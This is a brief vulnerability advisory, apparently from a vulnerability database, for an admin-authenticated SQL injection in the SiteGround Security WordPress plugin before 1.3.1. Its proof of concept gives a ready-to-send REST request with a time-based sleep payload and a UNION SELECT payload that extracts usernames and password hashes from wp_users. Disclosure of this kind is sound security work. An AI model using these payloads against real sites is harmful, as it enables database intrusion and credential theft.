SiteGround Security < 1.3.1 - Admin+ SQLi

The plugin does not properly sanitize user input before using it in an SQL query, leading to an authenticated SQL injection issue.

PoC

1: POST /wordpress/index.php/wp-json/sg-security/v1/activity-registered HTTP/1.1 Host: YOUR HOST X-WP-Nonce: YOUR NONCE Cookie: [Admin+] Content-Length: 155 {“limitedView”:1,“filters”:[{“wp_name”:“user”,“children”:[{“value”:“1-sleep(3); #”}]}]} 2: Alternate payload for extracting info from the wp_users table; {“limitedView”:1,“filters”:[{“wp_name”:“user”,“children”:[{“value”:“1 UNION SELECT 1,1,1,user_login,user_pass,1,1,1,1,1,1,1 FROM wp_users; #”}]}]}